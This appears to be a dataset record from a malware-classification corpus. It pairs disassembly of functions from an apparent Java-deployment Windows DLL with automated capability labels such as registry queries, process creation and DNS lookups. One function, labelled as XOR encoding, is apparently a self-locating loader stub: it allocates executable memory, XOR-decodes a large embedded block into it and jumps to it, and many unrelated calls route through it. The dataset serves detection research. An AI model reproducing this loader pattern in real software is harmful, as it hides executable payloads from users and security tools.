joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002eb17
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x10080f6c]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0x10
mov eax, 0x10059221
call fcn.10039bd1
push 0x1006b464
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.1003b936
add esp, 0xc
test eax, eax
jne 0x1002ebf2
push dword [ebp - 0x18]
call fcn.10035fb0
cmp dword [0x100825c4], 0
pop ecx
je 0x1002eb72
xor eax, eax
inc eax
jmp 0x1002ebf4
lea eax, [ebp]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.kernel32.dll_GetTempPathW]
cmp eax, esi
ja 0x1002ebf2
test eax, eax
je 0x1002ebf2
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x10]
call fcn.10001309
and dword [ebp - 4], 0
push str.JavaDeployReg.log
lea ecx, [ebp - 0x14]
call fcn.10001309
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.10001524
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x1002ebc3
call fcn.10001441
mov esi, dword [ebp - 0x10]
test esi, esi
je 0x1002ebce
mov eax, dword [esi]
jmp 0x1002ebd0
xor eax, eax
push 0x1006b510
push eax
push 0x100825c4
call fcn.10035fb0
add esp, 0xc
test eax, eax
je 0x1002ec17
test esi, esi
je 0x1002ebf2
mov ecx, esi
call fcn.10001441
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.10039bc2
add ebp, 0x20c
leave
ret
test esi, esi
je 0x1002eb6a
mov ecx, esi
call fcn.10001441
jmp 0x1002eb6a

Function at 0x1002eec6
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x10059249
call fcn.10039c04
mov esi, dword [ebp + 8]
xor eax, eax
xor edi, edi
xor ebx, ebx
mov word [esi], ax
mov dword [ebp - 4], edi
call fcn.10035fb0
test eax, eax
je 0x1002eef1
call fcn.1002eeb7
mov ebx, eax
push 0x104
push esi
push ebx
push edi
push 0x1005fda0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov esi, eax
cmp esi, edi
jge 0x1002ef4c
push esi
push str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__hToken__pPath__MAX_PATH_
call fcn.1003544c
pop ecx
pop ecx
push edi
push esi
call fcn.10035fb0
mov ecx, dword [ebp - 0x18]
mov esi, dword [ecx + 4]
mov dword [ebp - 0x14], esi
call fcn.10004b09
push eax
push esi
push 0x1006a44c
call fcn.1003544c
or dword [ebp - 4], 0xffffffff
add esp, 0xc
mov eax, 0x1002ef45
ret
cmp ebx, edi
je 0x1002ef57
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x1002f008
push dword [ebp + 8]
mov dword [ebp - 4], 2
push edi
push edi
push 0x1a
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x1002efb4
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
jmp 0x1002ef10
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x1002f008
push 1
push 0x1a
push dword [ebp + 8]
mov dword [ebp - 4], 4
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x1002f008
push esi
push str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
jmp 0x1002ef10
mov eax, esi
call fcn.10039c70
ret
Function at 0x1002f34c
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x2f9c]
mov eax, 0x301c
call fcn.10039d10
mov eax, dword [0x10080f6c]
xor eax, ebp
mov dword [ebp + 0x2f98], eax
mov eax, dword [ebp + 0x2fa4]
push ebx
push esi
push edi
mov dword [ebp - 0x74], eax
xor eax, eax
mov edi, 0xffe
xor esi, esi
push edi
mov word [ebp + 0x1f98], ax
lea eax, [ebp + 0x1f9a]
push esi
push eax
mov dword [ebp - 0x70], esi
call fcn.10039d40
xor eax, eax
push edi
mov word [ebp - 0x68], ax
lea eax, [ebp - 0x66]
push esi
push eax
call fcn.10039d40
add esp, 0x18
lea eax, [ebp - 0x7c]
push eax
push 0x20019
push esi
push 0x1006b888
mov ebx, 0x800
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x6c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1002f4b4
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x1f98]
push eax
push esi
jmp 0x1002f4a3
lea eax, [ebp + 0x1f98]
push eax
push 0x1006b8e0
push 0x1006b87c
lea eax, [ebp - 0x68]
push ebx
push eax
call fcn.10035fb0
add esp, 0x14
lea eax, [ebp - 0x78]
push eax
push 0x20019
push esi
lea eax, [ebp - 0x68]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1002f48b
push edi
mov word [ebp + 0xf98], ax
lea eax, [ebp + 0xf9a]
push esi
push eax
call fcn.10039d40
add esp, 0xc
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0xf98]
push eax
lea eax, [ebp - 0x80]
push eax
push esi
push 0x1006b938
push dword [ebp - 0x78]
mov dword [ebp - 0x6c], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1002f48b
cmp dword [ebp - 0x6c], esi
jbe 0x1002f48b
mov eax, dword [ebp + 0x2fa8]
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
lea eax, [ebp - 0x80]
push eax
push esi
push 0x1006b950
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
inc dword [ebp - 0x70]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x1f98]
push eax
push dword [ebp - 0x70]
mov dword [ebp - 0x6c], ebx
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x1002f3eb
mov eax, dword [ebp - 0x74]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x1002f4ba
sub eax, edx
sar eax, 1
xor ecx, ecx
cmp ecx, eax
mov ecx, dword [ebp + 0x2f98]
pop edi
sbb eax, eax
pop esi
xor ecx, ebp
neg eax
pop ebx
call fcn.10039bc2
add ebp, 0x2f9c
leave
ret
Function at 0x1002fcaa
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x238]
sub esp, 0x2b8
mov eax, dword [0x10080f6c]
xor eax, ebp
mov dword [ebp + 0x234], eax
push esi
push 0x208
xor esi, esi
lea eax, [ebp + 0x2c]
push esi
push eax
call fcn.10039d40
add esp, 0xc
lea eax, [ebp + 0x2c]
push eax
push esi
push esi
push 0x2c
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x1002fd05
xor eax, eax
mov ecx, dword [ebp + 0x234]
xor ecx, ebp
pop esi
call fcn.10039bc2
add ebp, 0x238
leave
ret
xor eax, eax
push ebx
mov word [ebp + 0x10], ax
push edi
lea eax, [ebp + 0x2c]
push eax
lea ecx, [ebp + 0x10]
mov dword [ebp + 0x24], 7
mov dword [ebp + 0x20], esi
call fcn.10012f8b
push str.JavaJava_Updatejucheck.exe
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.10035fb0
add esp, 0xc
xor ebx, ebx
push esi
inc ebx
push ebx
lea ecx, [ebp + 0x10]
call fcn.100115e9
push 0x22
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp + 0x10]
push 0x22
push eax
call fcn.10030341
add esp, 0xc
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.10035fb0
add esp, 0xc
push esi
push ebx
lea ecx, [ebp + 0x10]
call fcn.100115e9
push 0x40
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.10039d40
mov ecx, dword [ebp - 0xc]
xor eax, eax
mov dword [ebp - 0x3c], esi
lea edi, [ebp - 0x38]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
cmp dword [ebp + 8], 8
stosd dword es:[edi], eax
mov dword [ebp - 0x80], 0x44
mov eax, ecx
jae 0x1002fd9f
lea eax, [ebp - 0xc]
cmp dword [ebp + 8], 8
mov edx, dword [ebp + 4]
lea eax, [eax + edx*2]
jae 0x1002fdae
lea ecx, [ebp - 0xc]
push dword [ebp - 0x2c]
mov dword [ebp + 0x1c], esi
push eax
push ecx
lea ecx, [ebp + 0x1c]
mov dword [ebp + 0x20], esi
mov dword [ebp + 0x24], esi
call fcn.100303c0
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp + 0x1c]
mov dword [ebp - 0x2c], esi
call fcn.10030165
cmp dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x28]
jae 0x1002fddf
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x80]
push ecx
push esi
push esi
push 0x8000000
push ebx
push esi
push esi
push dword [ebp + 0x1c]
push eax
call fcn.1002d5a7
add esp, 0x28
test eax, eax
jne 0x1002fe28
xor edi, edi
lea ecx, [ebp + 0x1c]
call fcn.10005d39
push esi
push ebx
lea ecx, [ebp - 0xc]
call fcn.100115e9
push esi
push ebx
lea ecx, [ebp - 0x28]
call fcn.100115e9
mov eax, edi
pop edi
pop ebx
jmp 0x1002fcef
mov edi, ebx
jmp 0x1002fe03
Function at 0x10030a65
Capabilities:
Set registry value

Disassembly:
push ebp
lea ebp, [esp - 0xfb0]
mov eax, 0x1030
call fcn.10039d10
mov eax, dword [0x10080f6c]
xor eax, ebp
mov dword [ebp + 0xfac], eax
push esi
xor esi, esi
push 0x20019
push 0x1006c120
push SysReAllocStringLen
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x68], esi
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x78], esi
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x5c], esi
call fcn.10035fb0
test eax, eax
je 0x10030add
lea ecx, [ebp - 0x64]
call fcn.10016b3c
lea ecx, [ebp - 0x7c]
call fcn.10016b3c
lea ecx, [ebp - 0x70]
call fcn.10016b3c
jmp 0x10030bce
push edi
mov edi, str.CAFEEFAC_DEC7_0000_0001_ABCDEFFEDCBA
push edi
lea ecx, [ebp - 0x70]
call fcn.1001a125
push esi
push esi
push 0x2001f
push esi
push esi
push edi
push dword [ebp - 0x70]
lea ecx, [ebp - 0x7c]
call fcn.10035fb0
test eax, eax
je 0x10030b22
lea ecx, [ebp - 0x64]
call fcn.10016b3c
lea ecx, [ebp - 0x7c]
call fcn.10016b3c
lea ecx, [ebp - 0x70]
call fcn.10016b3c
jmp 0x10030bcd
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push ebx
push 4
pop ebx
push ebx
lea eax, [ebp - 0x58]
push eax
push ebx
push esi
push 0x1007edc8
push dword [ebp - 0x7c]
mov dword [ebp - 0x58], esi
call edi
lea ecx, [ebp - 0x64]
test eax, eax
jne 0x10030bb7
push esi
push esi
push 0x2001f
push esi
push esi
push str.InprocServer32
push dword [ebp - 0x7c]
call fcn.10035fb0
test eax, eax
jne 0x10030bb4
push 0x800
lea eax, [ebp - 0x54]
push eax
push dword [0x1008360c]
call dword [sym.imp.kernel32.dll_GetModuleFileNameW]
test eax, eax
je 0x10030bb4
push ebx
lea eax, [ebp - 0x58]
push eax
push ebx
push esi
lea eax, [ebp - 0x54]
push eax
push dword [ebp - 0x64]
mov dword [ebp - 0x58], esi
call edi
test eax, eax
jne 0x10030bb4
push ebx
lea eax, [ebp - 0x58]
push eax
push ebx
push esi
push str.Apartment
push dword [ebp - 0x64]
mov dword [ebp - 0x58], str.ThreadingModel
call edi
test eax, eax
jne 0x10030bb4
mov dword [ebp - 0x80], 1
lea ecx, [ebp - 0x64]
call fcn.10016b3c
lea ecx, [ebp - 0x7c]
call fcn.10016b3c
lea ecx, [ebp - 0x70]
call fcn.10016b3c
pop ebx
pop edi
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp + 0xfac]
neg eax
sbb eax, eax
and eax, 0x7ffbfdff
xor ecx, ebp
add eax, 0x80040201
pop esi
call fcn.10039bc2
add ebp, 0xfb0
leave
ret

Function at 0x10032a4d
Capabilities:
Hide graphical window

Disassembly:
push esi
test ecx, ecx
je 0x10032a57
lea esi, [ecx - 0x78]
jmp 0x10032a59
xor esi, esi
lea eax, [esi + 0x8c]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov esi, dword [esi + 0x50]
test esi, esi
je 0x10032a75
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
ret 8
Function at 0x10034a8f
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x3f9c]
mov eax, 0x401c
call fcn.10039d10
mov eax, dword [0x10080f6c]
xor eax, ebp
mov dword [ebp + 0x3f98], eax
mov eax, dword [ebp + 0x3fa4]
push ebx
push esi
push edi
mov dword [ebp - 0x74], eax
xor esi, esi
xor eax, eax
mov ebx, 0xffe
mov dword [ebp - 0x78], esi
push ebx
mov word [ebp + 0x2f98], ax
lea eax, [ebp + 0x2f9a]
push esi
push eax
mov dword [ebp - 0x70], esi
call fcn.10039d40
xor eax, eax
push ebx
mov word [ebp - 0x68], ax
lea eax, [ebp - 0x66]
push esi
push eax
call fcn.10039d40
add esp, 0x18
lea eax, [ebp - 0x80]
push eax
push 0x20019
push esi
push 0x1006c9a0
mov edi, 0x800
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x6c], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10034bf8
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x2f98]
push eax
push esi
jmp 0x10034be7
lea eax, [ebp + 0x2f98]
push eax
push 0x1006c9f8
push 0x1006c994
lea eax, [ebp - 0x68]
push edi
push eax
call fcn.10035fb0
add esp, 0x14
lea eax, [ebp - 0x7c]
push eax
push 0x20019
push esi
lea eax, [ebp - 0x68]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10034bcf
push ebx
mov word [ebp + 0xf98], ax
lea eax, [ebp + 0xf9a]
push esi
push eax
call fcn.10039d40
add esp, 0xc
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0xf98]
push eax
lea eax, [ebp - 0x78]
push eax
push esi
push str.RuntimeLib
push dword [ebp - 0x7c]
mov dword [ebp - 0x6c], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10034bcf
cmp dword [ebp - 0x6c], esi
jbe 0x10034bcf
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x1f98]
push eax
lea eax, [ebp - 0x78]
push eax
push esi
push 0x1006ca68
push dword [ebp - 0x7c]
mov dword [ebp - 0x6c], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
inc dword [ebp - 0x70]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp + 0x2f98]
push eax
push dword [ebp - 0x70]
mov dword [ebp - 0x6c], edi
push dword [ebp - 0x80]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x10034b31
mov ecx, dword [ebp - 0x74]
lea eax, [ebp + 0x1f98]
push eax
call fcn.10001309
mov ecx, dword [ebp + 0x3f98]
mov eax, dword [ebp - 0x74]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10039bc2
add ebp, 0x3f9c
leave
ret
Function at 0x100355f2
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x10080f6c]
xor eax, ebp
mov dword [ebp + 0x88], eax
push edi
lea eax, [ebp - 0x7c]
push eax
push 0x20019
push 0
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
xor edi, edi
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x80], pe_nt_image_headers32
inc edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1003568e
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x78]
push eax
push 0
push 0
push str.identifier
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1003568e
mov edx, str.ia64
lea eax, [ebp - 0x78]
mov cx, word [eax]
cmp cx, word [edx]
jne 0x10035683
test cx, cx
je 0x1003567f
mov cx, word [eax + 2]
cmp cx, word [edx + 2]
jne 0x10035683
add eax, 4
add edx, 4
test cx, cx
jne 0x1003565d
xor eax, eax
jmp 0x10035688
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x1003568e
xor edi, edi
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x88]
mov eax, edi
xor ecx, ebp
pop edi
call fcn.10039bc2
add ebp, 0x8c
leave
ret

Function at 0x10035714
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x98]
sub esp, 0x118
mov eax, dword [0x10080f6c]
xor eax, ebp
mov dword [ebp + 0x94], eax
cmp dword [0x10082628], 0
je 0x1003573f
mov eax, dword [0x10082624]
jmp 0x10035783
push 0x114
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.10039d40
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x114
call dword [sym.imp.kernel32.dll_GetVersionExW]
xor ecx, ecx
inc ecx
cmp dword [ebp - 0x70], 2
jne 0x10035776
cmp dword [ebp - 0x7c], 6
jb 0x10035776
mov eax, ecx
jmp 0x10035778
xor eax, eax
mov dword [0x10082624], eax
mov dword [0x10082628], ecx
mov ecx, dword [ebp + 0x94]
xor ecx, ebp
call fcn.10039bc2
add ebp, 0x98
leave
ret

Function at 0x10035fb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10035fbf
pop dword [ebp - 0xc]
mov eax, 0xf7590825
sub eax, 0xe755a866
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x4605b
push 0
mov eax, 0x11bae9d3
sub eax, 0x1b5473b
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0x49cc
mov ebx, eax
mov esi, 0xb34edb8
add esi, 0x4d7e448
add esi, dword [ebp - 0xc]
mov edi, 0x866a41cb
sub edi, 0x54dff709
add dword [ebp - 4], 0xe5b48539
mov edx, dword [esi]
xor dword [ebp - 8], edi
xor edx, edi
add dword [ebp - 8], 0xf40a9fd5
mov dword [ebx], edx
sub dword [ebp - 8], 0xdcbe183
add ebx, 0xe03fbf6c
sub ebx, 0xe03fbf68
add esi, 4
loop 0x10036018
add eax, 0x11a03
mov ebx, eax
add eax, 5
mov ecx, 0xac2eac1f
sub ecx, 0x9c2eac1f
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x100361ad
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x18c]
sub esp, 0x20c
mov eax, dword [0x10080f6c]
xor eax, ebp
mov dword [ebp + 0x188], eax
lea eax, [ebp - 0x7c]
push eax
push 1
push 0
push 0x1006d368
push SysReAllocStringLen
mov dword [ebp - 0x80], 0x200
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1003621a
push edi
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x78]
push eax
push 0
push 0
push 0x1006d3b4
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x7c]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
pop edi
jne 0x1003621a
xor al, al
jmp 0x1003621c
mov al, 1
mov ecx, dword [ebp + 0x188]
xor ecx, ebp
call fcn.10039bc2
add ebp, 0x18c
leave
ret
Function at 0x1003626c
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x3fc4]
mov eax, 0x4044
call fcn.10039d10
mov eax, dword [0x10080f6c]
xor eax, ebp
mov dword [ebp + 0x3fc0], eax
push ebx
push esi
push edi
xor eax, eax
mov edi, 0xffe
push edi
mov word [ebp + 0x2fc0], ax
xor ebx, ebx
lea eax, [ebp + 0x2fc2]
push ebx
push eax
call fcn.10039d40
push ebx
push 1
mov esi, 0x800
lea eax, [ebp + 0x2fc0]
push esi
push eax
call fcn.10024738
add esp, 0x1c
test eax, eax
jne 0x100362d0
xor eax, eax
inc eax
jmp 0x10036426
lea eax, [ebp + 0x2fc0]
push eax
push str.11.241.2
call fcn.10035fb0
pop ecx
pop ecx
test eax, eax
jg 0x100362c8
xor eax, eax
push edi
mov word [ebp - 0x40], ax
lea eax, [ebp - 0x3e]
push ebx
push eax
call fcn.10039d40
push ebx
lea eax, [ebp + 0x2fc0]
push eax
lea eax, [ebp - 0x40]
push esi
push eax
call fcn.1001c257
add esp, 0x1c
test eax, eax
je 0x100362c8
xor eax, eax
push edi
mov word [ebp + 0xfc0], ax
lea eax, [ebp + 0xfc2]
push ebx
push eax
call fcn.10039d40
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp + 0xfc0]
push esi
push eax
call fcn.10035fb0
push str._bin_ssvagent.exe
lea eax, [ebp + 0xfc0]
push esi
push eax
call fcn.10035fb0
push 0x3c
lea eax, [ebp - 0x80]
push ebx
push eax
call fcn.10039d40
xor eax, eax
push edi
mov word [ebp + 0x1fc0], ax
lea eax, [ebp + 0x1fc2]
push ebx
push eax
mov dword [ebp - 0x80], 0x3c
call fcn.10039d40
push str._high__jpisetup__register
lea eax, [ebp + 0x1fc0]
push esi
push eax
call fcn.10035fb0
add esp, 0x48
call fcn.1002d15b
mov dword [ebp - 0x74], str.runas
test eax, eax
jne 0x100363a1
mov dword [ebp - 0x74], str.open
lea eax, [ebp + 0xfc0]
mov dword [ebp - 0x70], eax
xor edi, edi
lea eax, [ebp + 0x2fc0]
inc edi
push eax
mov dword [ebp - 0x64], edi
mov dword [ebp - 0x7c], 0x40
call fcn.1002debf
test eax, eax
pop ecx
lea eax, [ebp + 0x1fc0]
je 0x100363d5
push str.__new
jmp 0x100363da
push str.__old
push esi
push eax
call fcn.10035fb0
lea eax, [ebp + 0x1fc0]
mov dword [ebp - 0x6c], eax
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x10036424
mov dword [ebp - 0x44], edi
cmp dword [ebp - 0x48], ebx
je 0x10036424
push 0xffffffffffffffff
push dword [ebp - 0x48]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x48]
call dword [sym.imp.kernel32.dll_GetExitCodeProcess]
push dword [ebp - 0x48]
call dword [sym.imp.kernel32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp + 0x3fc0]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10039bc2
add ebp, 0x3fc4
leave
ret
Function at 0x10036629
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xf94]
mov eax, 0x1014
call fcn.10039d10
mov eax, dword [0x10080f6c]
xor eax, ebp
mov dword [ebp + 0xf90], eax
mov eax, dword [ebp + 0xf9c]
push esi
xor ecx, ecx
mov dword [ebp - 0x80], eax
mov word [eax], cx
lea eax, [ebp - 0x78]
push eax
push 0x20019
xor esi, esi
push esi
push 0x1006d208
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x78], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10036729
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x70]
push eax
mov dword [ebp - 0x7c], esi
push esi
jmp 0x10036714
xor ecx, ecx
xor eax, eax
cmp dword [ebp - 0x74], esi
jbe 0x10036702
cmp word [ebp + eax*2 - 0x70], 0x2e
jne 0x100366ae
inc ecx
cmp ecx, 1
jg 0x100366b9
inc eax
cmp eax, dword [ebp - 0x74]
jb 0x100366a0
cmp ecx, 1
jle 0x10036702
lea eax, [ebp - 0x70]
push 0x1006d1fc
push eax
call fcn.10035fb0
pop ecx
pop ecx
test eax, eax
js 0x10036702
lea eax, [ebp - 0x70]
push eax
call fcn.10036485
pop ecx
test al, al
je 0x10036702
push dword [ebp - 0x80]
lea eax, [ebp - 0x70]
push eax
call fcn.10035fb0
pop ecx
pop ecx
test eax, eax
jle 0x10036702
lea eax, [ebp - 0x70]
push eax
push dword [ebp + 0xfa0]
push dword [ebp - 0x80]
call fcn.10035fb0
add esp, 0xc
inc dword [ebp - 0x7c]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x7c]
push dword [ebp - 0x78]
mov dword [ebp - 0x74], 0x800
call edi
test eax, eax
je 0x10036697
pop edi
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0xf90]
xor ecx, ebp
pop esi
call fcn.10039bc2
add ebp, 0xf94
leave
ret
Function at 0x10036976
Capabilities:
Resolve dns
Set socket configuration

Disassembly:
push 0x10
mov eax, 0x100596c7
call fcn.10039bd1
and dword [ebp - 0x10], 0
push dword [ebp + 8]
and dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
call fcn.10001309
mov edi, dword [ebp - 0x14]
xor eax, eax
mov byte [ebp - 4], 1
test edi, edi
je 0x100369a9
cmp dword [edi], eax
sete al
jmp 0x100369aa
inc eax
test al, al
je 0x100369b5
push 0x1006d109
jmp 0x100369da
test edi, edi
je 0x100369bd
mov eax, dword [edi]
jmp 0x100369bf
xor eax, eax
push eax
call fcn.10035fb0
pop ecx
test eax, eax
jne 0x10036a15
test edi, edi
je 0x100369d7
mov ecx, edi
call fcn.10028aad
jmp 0x100369d9
xor eax, eax
push eax
call dword [sym.imp.wsock32.dll_gethostbyname]
test eax, eax
je 0x10036ab7
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.wsock32.dll_inet_ntoa]
push eax
lea ecx, [ebp - 0x18]
call fcn.1001060c
push eax
lea ecx, [ebp - 0x10]
call fcn.1000147f
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x10036a2a
call fcn.10001441
jmp 0x10036a2a
cmp eax, 1
jne 0x10036ab7
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000147f
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x10036a38
call fcn.10028aad
jmp 0x10036a3a
xor eax, eax
push eax
call dword [sym.imp.wsock32.dll_inet_addr]
push 2
mov dword [ebp - 0x1c], eax
push 4
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.wsock32.dll_gethostbyaddr]
mov esi, eax
test esi, esi
jne 0x10036a6c
test edi, edi
je 0x10036a63
mov ecx, edi
call fcn.10001441
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x10036ac2
jmp 0x10036abd
mov ecx, dword [esi]
mov eax, ecx
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10036a73
sub eax, edi
push eax
push ecx
call fcn.10035fb0
pop ecx
pop ecx
push dword [esi]
lea ecx, [ebp - 0x18]
call fcn.1001060c
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x10036a9b
call fcn.10001441
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x10036aa7
call fcn.10001441
mov ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x10036ab3
call fcn.10001441
mov al, 1
jmp 0x10036ac4
test edi, edi
je 0x10036ac2
mov ecx, edi
call fcn.10001441
xor al, al
call fcn.10039c70
ret